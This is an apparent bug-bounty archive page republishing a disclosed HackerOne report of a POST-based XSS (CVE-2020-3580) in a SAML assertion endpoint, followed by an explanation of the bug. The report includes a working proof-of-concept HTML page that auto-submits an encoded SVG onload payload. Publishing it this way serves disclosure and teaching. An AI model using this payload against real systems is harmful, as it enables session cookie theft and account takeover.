Skip to content
XSS Disclosed report Beginner CVE-2020-3580

XSS DUE TO CVE-2020-3580

A host was vulnerable to CVE-2020-3580, a POST-based XSS via a crafted SAMLResponse parameter. An attacker could run script to steal cookies and potentially take over accounts.

ghimire_veshraj Follow

Originally disclosed on HackerOne

  • Triaged in 48 hours
  • Fixed in 23 days
  • Disclosed after 33 days

Hello Team, During my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.

Vulnerable URL: https://████/+CSCOE+/saml/sp/acs?tgname=a

Impact

Attackers can steal cookies and even takeover accounts and perform different malicious activities.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Save following code as xss.html and open in browser:

<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://███/+CSCOE+/saml/sp/acs?tgname=a" method="POST"> <input type="hidden" name="SAMLResponse" value="&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by ghimire_veshraj. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the SAML assertion consumer endpoint reflected the SAMLResponse parameter into the page without output encoding, allowing HTML and script injection.

Impact

Attackers could steal cookies and potentially take over accounts, though the report does not demonstrate this beyond an alert.

What the attacker needed

Victim visits attacker-controlled page; victim's browser submits the form

How it was found

  1. Create an HTML file containing an auto-submitting form that posts to the vulnerable SAML endpoint.
  2. Set the SAMLResponse field to a value containing an SVG element with an onload handler that calls alert.
  3. Open the HTML file in a browser so the form submits automatically.
  4. The form submits to the vulnerable host.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) lets an attacker slip their own JavaScript into a page that other people trust. Here the page echoed back part of a form field without cleaning it, so a malicious page could make the victim's browser run the attacker's script. That script could read the victim's session cookie, which is like a temporary login pass, and use it to act as the victim.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ghimire_veshraj

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.